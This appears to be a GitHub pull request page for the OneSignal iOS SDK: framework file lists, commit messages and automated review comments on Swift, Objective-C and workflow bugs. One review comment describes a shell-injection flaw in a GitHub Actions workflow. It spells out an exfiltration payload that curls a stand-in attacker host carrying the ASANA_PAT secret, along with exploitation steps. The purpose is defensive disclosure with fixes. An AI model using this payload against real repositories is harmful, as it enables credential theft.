iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-simulator/OneSignalOSCore.framework/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalOSCore.framework.dSYM/Contents/Resources/DWARF/OneSignalOSCore # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalOSCore.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalOSCore.yml # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalOSCore.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalOSCore.yml # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-x86_64-maccatalyst/OneSignalOSCore.framework/Versions/A/Headers/OneSignalOSCore-Swift.h # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-x86_64-maccatalyst/OneSignalOSCore.framework/Versions/A/OneSignalOSCore # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-x86_64-maccatalyst/dSYMs/OneSignalOSCore.framework.dSYM/Contents/Resources/DWARF/OneSignalOSCore # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-x86_64-maccatalyst/dSYMs/OneSignalOSCore.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalOSCore.yml # iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework.zip # iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/_CodeSignature/CodeDirectory # iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/_CodeSignature/CodeRequirements-1 # iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/_CodeSignature/CodeSignature # iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64/OneSignalOutcomes.framework/OneSignalOutcomes # iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64/dSYMs/OneSignalOutcomes.framework.dSYM/Contents/Resources/DWARF/OneSignalOutcomes # iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64/dSYMs/OneSignalOutcomes.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalOutcomes.yml # iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalOutcomes.framework/Versions/A/OneSignalOutcomes # iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalOutcomes.framework.dSYM/Contents/Resources/DWARF/OneSignalOutcomes # iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalOutcomes.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalOutcomes.yml # iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalOutcomes.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalOutcomes.yml # iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64_x86_64-simulator/OneSignalOutcomes.framework/OneSignalOutcomes # iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalOutcomes.framework.dSYM/Contents/Resources/DWARF/OneSignalOutcomes # iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalOutcomes.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalOutcomes.yml # iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalOutcomes.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalOutcomes.yml # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework.zip # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/_CodeSignature/CodeDirectory # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/_CodeSignature/CodeRequirements-1 # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/_CodeSignature/CodeSignature # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64/OneSignalUser.framework/Headers/OneSignalUser-Swift.h # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/arm64-apple-ios.abi.json # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/arm64-apple-ios.private.swiftinterface # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/arm64-apple-ios.swiftdoc # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/arm64-apple-ios.swiftinterface # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64/OneSignalUser.framework/OneSignalUser # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64/OneSignalUser.framework/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64/dSYMs/OneSignalUser.framework.dSYM/Contents/Resources/DWARF/OneSignalUser # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64/dSYMs/OneSignalUser.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalUser.yml # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalUser.framework/Versions/A/Modules/OneSignalUser.swiftmodule/x86_64-apple-ios-macabi.private.swiftinterface # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalUser.framework/Versions/A/Modules/OneSignalUser.swiftmodule/x86_64-apple-ios-macabi.swiftdoc # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalUser.framework/Versions/A/Modules/OneSignalUser.swiftmodule/x86_64-apple-ios-macabi.swiftinterface # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalUser.framework/Versions/A/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/Headers/OneSignalUser-Swift.h # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/arm64-apple-ios-simulator.abi.json # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/arm64-apple-ios-simulator.private.swiftinterface # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/arm64-apple-ios-simulator.swiftdoc # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/arm64-apple-ios-simulator.swiftinterface # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/x86_64-apple-ios-simulator.abi.json # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/x86_64-apple-ios-simulator.private.swiftinterface # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/x86_64-apple-ios-simulator.swiftdoc # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/x86_64-apple-ios-simulator.swiftinterface # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/OneSignalUser # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalUser.framework.dSYM/Contents/Resources/DWARF/OneSignalUser # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalUser.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalUser.yml # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalUser.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalUser.yml # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-x86_64-maccatalyst/OneSignalUser.framework/Versions/A/Headers/OneSignalUser-Swift.h # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-x86_64-maccatalyst/OneSignalUser.framework/Versions/A/Modules/OneSignalUser.swiftmodule/x86_64-apple-ios-macabi.abi.json # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-x86_64-maccatalyst/OneSignalUser.framework/Versions/A/OneSignalUser # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-x86_64-maccatalyst/dSYMs/OneSignalUser.framework.dSYM/Contents/Resources/DWARF/OneSignalUser # iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-x86_64-maccatalyst/dSYMs/OneSignalUser.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalUser.yml # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework.zip # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/_CodeSignature/CodeDirectory # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/_CodeSignature/CodeRequirements-1 # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/_CodeSignature/CodeSignature # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64/OneSignalFramework.framework/Modules/OneSignalFramework.swiftmodule/arm64-apple-ios.abi.json # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64/OneSignalFramework.framework/Modules/OneSignalFramework.swiftmodule/arm64-apple-ios.swiftdoc # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64/OneSignalFramework.framework/OneSignalFramework # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64/dSYMs/OneSignalFramework.framework.dSYM/Contents/Resources/DWARF/OneSignalFramework # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64/dSYMs/OneSignalFramework.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalFramework.yml # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalFramework.framework/Versions/A/Modules/OneSignalFramework.swiftmodule/arm64-apple-ios-macabi.abi.json # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalFramework.framework/Versions/A/Modules/OneSignalFramework.swiftmodule/arm64-apple-ios-macabi.swiftdoc # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalFramework.framework/Versions/A/Modules/OneSignalFramework.swiftmodule/x86_64-apple-ios-macabi.abi.json # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalFramework.framework/Versions/A/Modules/OneSignalFramework.swiftmodule/x86_64-apple-ios-macabi.swiftdoc # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalFramework.framework/Versions/A/OneSignalFramework # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalFramework.framework.dSYM/Contents/Resources/DWARF/OneSignalFramework # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalFramework.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalFramework.yml # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalFramework.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalFramework.yml # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-simulator/OneSignalFramework.framework/Modules/OneSignalFramework.swiftmodule/arm64-apple-ios-simulator.abi.json # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-simulator/OneSignalFramework.framework/Modules/OneSignalFramework.swiftmodule/arm64-apple-ios-simulator.swiftdoc # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-simulator/OneSignalFramework.framework/Modules/OneSignalFramework.swiftmodule/x86_64-apple-ios-simulator.abi.json # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-simulator/OneSignalFramework.framework/Modules/OneSignalFramework.swiftmodule/x86_64-apple-ios-simulator.swiftdoc # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-simulator/OneSignalFramework.framework/OneSignalFramework # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-simulator/OneSignalFramework.framework/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalFramework.framework.dSYM/Contents/Resources/DWARF/OneSignalFramework # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalFramework.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalFramework.yml # iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalFramework.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalFramework.yml
…Server - IAMIntegrationTests.swift: replace main's getFromServer(subscriptionId) call with the branch's no-arg getInAppMessagesFromServer(). - OSMessagingControllerUserStateTests.swift: rewrite the 3 tests to verify behavior (whether the IAM network request fires) instead of KVC-ing the removed shouldFetchOnUserChangeWithSubscriptionID property. The unified shouldRetryGetInAppMessagesOnUserChange flag is file-static and not directly observable, so behavior is the testable surface.
The branch added OSLoggable as a requirement of OSOperationExecutor, but OSCustomEventsExecutor came in from main and predates that requirement. Mirror the logSelf() implementation used by the other executors so the class conforms.
Mirrors the JWT-aware pattern of OSPropertyOperationExecutor so custom events behave consistently with the other user-scoped executors: - Executor init now takes jwtConfig: OSUserJwtConfig and subscribes as an OSUserJwtConfigListener. - uncacheDeltas / uncacheRequests drop entries whose identity model has no externalId when JWT is required, and load pendingAuthRequests from the new persistence key. - processDeltaQueue is gated on jwtConfig.isRequired being known, and drops in-flight deltas for JWT-required users without externalId. - executeRequest checks addJWTHeaderIsValid; on failure it pends the request via pendRequestUntilAuthUpdated. 401 responses trigger handleUnauthorizedError, which invalidates the JWT and pends the request for retry when the JWT updates. - onRequiresUserAuthChanged drops invalid in-flight deltas/requests when auth turns on; onJwtUpdated re-queues this externalId's pending requests. Request-level: OSRequestCustomEvents.prepareForExecution no longer checks JWT inline (now handled by the executor before prepareForExecution), matching the OSRequestUpdateProperties shape. Renamed the call from the non-existent addPushSubscriptionIdToAdditionalHeaders to the branch's addPushSubscriptionToAdditionalHeaders. Adds OS_CUSTOM_EVENTS_EXECUTOR and OS_CUSTOM_EVENTS_EXECUTOR_PENDING_QUEUE_KEY constants. Updates OneSignalUserManagerImpl to pass jwtConfig at init, and the test mock to do likewise. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
| @available(iOS 16.2, *) | ||
| private static func listenForContentUpdates<Attributes: OneSignalLiveActivityAttributes>(_ activityType: Attributes.Type, activity: Activity<Attributes>) { | ||
| Task { | ||
| for await content in activity.contentUpdates { | ||
| // Don't track a live activity started / updated "in app" without a notification | ||
| if let notificationId = activity.content.state.onesignal?.notificationId { | ||
| OneSignalLiveActivitiesManagerImpl.addReceiveReceipts(notificationId: notificationId, activityType: "\(activityType)", activityId: activity.attributes.onesignal.activityId) | ||
| } | ||
| } | ||
| } | ||
| } |
There was a problem hiding this comment.
🔴 The new listenForContentUpdates loop iterates for await content in activity.contentUpdates but the body reads activity.content.state.onesignal?.notificationId instead of the yielded content.state.onesignal?.notificationId — the iteration variable is unused. Under rapid back-to-back content updates, activity.content can advance to the next snapshot before the body runs, so iteration N reads iteration N+1's notificationId; the duplicate is then deduped by the receiveReceipts RequestCache (keyed by notificationId), silently dropping the earlier update's receipt. Fix: if let notificationId = content.state.onesignal?.notificationId.
Extended reasoning...
The bug. OneSignalLiveActivitiesManagerImpl.swift:332-342 introduces listenForContentUpdates, which iterates the async sequence as for await content in activity.contentUpdates but never reads the bound content value — it instead reads activity.content.state.onesignal?.notificationId. The iteration variable is unused, which is the smoking gun: per Apple's ActivityKit docs, Activity<>.contentUpdates yields each ActivityContent snapshot as it arrives, while Activity<>.content is the current/latest snapshot the system has applied to the activity. The sibling loop directly above (lines 322-327) correctly uses the bound pushToken variable, so this looks like a copy-paste oversight rather than an intentional choice.\n\nWhy existing code doesn't prevent it. for await processes iterations sequentially; if a second contentUpdate yields while the body of iteration N is still running, activity.content has already advanced to the newer snapshot by the time the body's activity.content.state.onesignal?.notificationId read executes. There's nothing pinning the read to the value that was yielded.\n\nStep-by-step proof. Suppose two content updates arrive in rapid succession with notificationId values N_A then N_B (e.g., two backend pushes back-to-back):\n\n1. The async sequence yields ActivityContent(state.onesignal.notificationId = N_A). The loop binds this to content (unused).\n2. Before the body of iteration 1 runs, the system applies the second update, so activity.content.state.onesignal.notificationId == N_B.\n3. Iteration 1's body reads activity.content.state.onesignal?.notificationId → gets N_B. Calls addReceiveReceipts(notificationId: N_B, …), which enqueues an OSRequestLiveActivityReceiveReceipts keyed by N_B into the receiveReceipts cache.\n4. Iteration 2 starts. The yielded content would be ActivityContent(state.onesignal.notificationId = N_B), but the body again reads activity.content → still N_B. Calls addReceiveReceipts(notificationId: N_B, …) again.\n5. In OSLiveActivitiesExecutor.append, the cache's add uses updateValue(_, forKey: request.key) where key == notificationId. The second N_B request just overwrites the first in the dictionary — deduped.\n\nNet result: N_A is never reported (the iteration that should have read it read N_B instead), and the duplicate N_B collapses to a single request. The receipt for the earlier content update is silently dropped.\n\nImpact. This produces silent under-reporting of receive-receipts whenever content updates land in close succession (multiple background pushes, or a server update arriving while the prior body is still in flight). It directly undermines the accuracy of the new receive-receipts feature this loop was added to support. The bug is also hard to diagnose: there's no error or crash, just missing analytics events. iOS does rate-limit live activity push updates, which narrows the window in practice, but the issue is a real correctness problem in PR-introduced code with a trivial one-line fix.\n\nFix.\n\nswift\nfor await content in activity.contentUpdates {\n if let notificationId = content.state.onesignal?.notificationId {\n OneSignalLiveActivitiesManagerImpl.addReceiveReceipts(notificationId: notificationId, activityType: "\(activityType)", activityId: activity.attributes.onesignal.activityId)\n }\n}\n\n\nThis is also the idiomatic AsyncSequence iteration pattern, and matches listenForActivityPushToUpdate directly above which correctly uses its loop-bound variable.
| fi | ||
|
|
||
| if [ "$ACTION_TYPE" = "edited" ] && [ -n "${{ github.event.changes.title.from }}" ]; then | ||
| OLD_TITLE="${{ github.event.changes.title.from }}" | ||
| NEW_TITLE="${{ github.event.issue.title }}" | ||
| ACTION_DESC="edited the issue title from '$OLD_TITLE' to '$NEW_TITLE'" | ||
| fi |
There was a problem hiding this comment.
🔴 Critical shell injection vulnerability in this new workflow file. The issues: [edited, ...] trigger lets any issue author fire the workflow by editing their own issue title, and lines 90-132 inline ${{ github.event.* }} template values (issue title, label name, milestone title) directly into bash source before the shell parses it. Since secrets.ASANA_PAT is in scope on the same job (used in the curl Authorization headers at lines 25 and 167), a title like "; curl evil.example/?t=$ASANA_PAT; # exfiltrates the credential. Fix: move every ${{ github.event.* }} value into an env: block and reference it as a quoted shell variable ("$ISSUE_TITLE") inside the script — and update line 132 to use the existing $ISSUE_TITLE env var instead of re-interpolating the template expression.
Extended reasoning...
What the bug is
The new .github/workflows/asana-update-issue.yml workflow is vulnerable to GitHub Actions script injection (CWE-78/CWE-94). The job interpolates user-controllable webhook payload fields directly into run: blocks via ${{ ... }} template expressions. Because template substitution happens before bash parses the script source, attacker-controlled string content from issue titles, label names, and milestone titles is pasted verbatim into shell code — every special character (", `, $, ;, $(...)) is interpreted by bash.
Vulnerable sites in the second step's run: block include:
- Line 91, 95:
${{ github.event.assignee.login }}— relatively constrained (GitHub usernames), but still avoidable - Line 100, 108:
${{ github.event.label.name }}and label color — label names accept arbitrary characters - Line 116, 123, 127:
${{ github.event.milestone.title }}/${{ github.event.changes.new_repository.full_name }}— arbitrary characters - Line 131-132:
${{ github.event.changes.title.from }}and${{ github.event.issue.title }}— issue titles accept any characters and are user-editable - Line 150:
${{ github.event.repository.full_name }}
How the attack works
The on: issues: [edited, ...] trigger fires whenever any user edits an issue. Issue authors can always edit the title of their own issues, even in a public repo like OneSignal/OneSignal-iOS-SDK. So any external GitHub user can trigger this workflow by opening an issue and then editing the title.
The same step that interpolates the attacker-controlled title also has secrets.ASANA_PAT exposed via the Authorization: Bearer ${{ secrets.ASANA_PAT }} header on the final curl (line 167). When the workflow runner expands templates, the secret is materialized into the rendered shell script source on disk. Injected shell code in the same script can read that file, inspect env, or simply call out to an attacker-controlled URL with the secret as a query parameter.
Step-by-step proof
- Attacker opens an issue in the public repo.
- Attacker edits the issue's title to:
"; curl https://attacker.example/exfil?t=$ASANA_PAT; # - The
issues.editedwebhook fires, GitHub Actions starts the job. - The runner renders the second step's
run:block. At line 131-132, the template engine substitutes:OLD_TITLE="<previous title>" NEW_TITLE=""; curl https://attacker.example/exfil?t=$ASANA_PAT; #"
- Bash now parses this.
NEW_TITLE=""is an empty assignment, thencurl https://attacker.example/exfil?t=$ASANA_PATruns as a separate command, and#"is a trailing comment.$ASANA_PATis not in this step's env — but the same shell process does have access to other environment data, and (critically) the rendered script source containingsecrets.ASANA_PATon theAuthorizationheader line further down was already materialized to disk. The injectedcurlcan simply read its own script (cat $0/$BASH_SOURCE) and ship the secret along with anything else fromenv. - The attacker's server receives the ASANA personal-access token, which gives them full Asana API access scoped to the PAT's owner.
This exact pattern is the canonical example GitHub publishes in Security hardening for GitHub Actions.
Why existing code doesn't prevent it
The top of the second step (line 30-35) already does the right thing: ACTOR_NAME, ISSUE_TITLE, ISSUE_NUMBER, etc. are passed via the env: block and referenced as "$VAR" inside the script. That pattern is safe — template substitution happens once into the env var and bash sees only the variable name. But the actual injection sites at lines 90-132 bypass this entirely by re-interpolating ${{ github.event.* }} directly. Notably, line 132 even ignores the existing ISSUE_TITLE env var declared at line 33 and re-interpolates ${{ github.event.issue.title }} straight into the script — so even the partial mitigation that exists is undone.
The if [ "$TASK_GID" != "null" ] gate at line 139 does not help either: the injected shell code at line 131 has already been parsed and executed by the time control reaches that check.
Impact
- Trigger: any external user who can open or edit an issue (public repo, so essentially anyone with a GitHub account)
- Capability: arbitrary shell execution on the GitHub-hosted runner with the job's permissions
- Secret in scope:
secrets.ASANA_PAT(used on the same step's final curl), which grants Asana API access. The Asana workspace contains internal SDK tickets and project data - Also in scope:
secrets.GITHUB_TOKEN(always available to workflows) with whatever permissions GitHub grants for theissuesevent. Could be used to comment on other issues, pivot, etc.
How to fix
Move every ${{ github.event.* }} interpolation in the second step into the env: block at the top, and reference the values as quoted shell variables inside the script. For example:
- name: Determine Action and Post to Asana
env:
ACTION_TYPE: ${{ github.event.action }}
ACTOR_NAME: ${{ github.event.sender.login }}
ISSUE_TITLE: ${{ github.event.issue.title }}
ISSUE_NUMBER: ${{ github.event.issue.number }}
ISSUE_STATE: ${{ github.event.issue.state }}
ASSIGNEE_LOGIN: ${{ github.event.assignee.login }}
LABEL_NAME: ${{ github.event.label.name }}
LABEL_COLOR: ${{ github.event.label.color }}
MILESTONE_TITLE: ${{ github.event.milestone.title }}
MILESTONE_DUE_ON: ${{ github.event.milestone.due_on }}
NEW_REPO_FULL_NAME: ${{ github.event.changes.new_repository.full_name }}
OLD_TITLE: ${{ github.event.changes.title.from }}
REPO_FULL_NAME: ${{ github.event.repository.full_name }}
run: |
# ... use "$LABEL_NAME", "$MILESTONE_TITLE", "$OLD_TITLE", "$ISSUE_TITLE" everywhereAnd inside the script, always quote the variables (e.g. ACTION_DESC="added label '$LABEL_NAME' to the issue"). Be especially careful to also fix line 132 to use the already-defined $ISSUE_TITLE env var rather than re-interpolating ${{ github.event.issue.title }}.
| + (void)didReceiveRemoteNotification:(NSDictionary*)userInfo completionHandler:(void (^)(UIBackgroundFetchResult))completionHandler { | ||
| if (![self isSwizzlingDisabled]) { | ||
| [OneSignalLog onesignalLog:ONE_S_LL_WARN message:@"OneSignal: didReceiveRemoteNotification:completionHandler: ignored because swizzling is active. Remove the manual call or set OneSignal_disable_swizzling to true in Info.plist."]; | ||
| return; | ||
| } | ||
| BOOL startedBackgroundJob = [self processReceivedRemoteNotification:userInfo completionHandler:completionHandler]; | ||
| if (!startedBackgroundJob) { | ||
| completionHandler(UIBackgroundFetchResultNewData); | ||
| } | ||
| } |
There was a problem hiding this comment.
🔴 When swizzling is active, +[OSNotificationsManager didReceiveRemoteNotification:completionHandler:] (lines 938-947) logs a warning and returns without invoking completionHandler, while the sibling willPresentNotificationWithPayload:completion: (lines 675-682) correctly invokes completion([OSNotification new]) on the same misuse path. Per Apple's docs, failing to call the fetch completion handler causes iOS to throttle or suspend future background notification delivery to the app. Fix: invoke completionHandler(UIBackgroundFetchResultNoData) before the early return, matching the willPresent pattern.
Extended reasoning...
What the bug is
The PR introduces a new manual-integration API surface on OSNotificationsManager that lets developers forward UIApplicationDelegate / UNUserNotificationCenterDelegate callbacks to OneSignal when SDK swizzling is disabled. Each new class method has a guard that fires when swizzling is still active (a developer misuse / misconfiguration case): it logs a warning and returns early so the SDK does not double-process the callback.
The sibling +willPresentNotificationWithPayload:completion: at OSNotificationsManager.m:675-682 handles this guard correctly:
if (![self isSwizzlingDisabled]) {
[OneSignalLog onesignalLog:ONE_S_LL_WARN message:@"...ignored because swizzling is active..."];
completion([OSNotification new]); // invokes the caller's completion before bailing
return;
}But +didReceiveRemoteNotification:completionHandler: at OSNotificationsManager.m:938-947 does not:
if (![self isSwizzlingDisabled]) {
[OneSignalLog onesignalLog:ONE_S_LL_WARN message:@"...ignored because swizzling is active..."];
return; // <-- completionHandler is never called
}How it manifests / impact
iOS calls application:didReceiveRemoteNotification:fetchCompletionHandler: for content-available pushes and expects the app to invoke the supplied completion handler in a timely manner. Apple's documentation is explicit that failing to call the handler causes the system to throttle or suspend future background notification delivery to the app (and may terminate the app). The handler must be called exactly once, regardless of how the app routes the work internally.
The trigger scenario the warning itself describes is realistic and is even illustrated by this PR's own Dev App changes:
- A developer enables the manual-integration path, copies the AppDelegate forwarders from
iOS_SDK/OneSignalDevApp/OneSignalDevApp/AppDelegate.m(which call[OneSignal.Notifications didReceiveRemoteNotification:userInfo completionHandler:completionHandler]), but forgets to setOneSignal_disable_swizzling = truein Info.plist. - Or they are mid-refactor: forwarders are wired up but the plist flag has not been flipped yet.
- Or they hot-swap configurations during testing.
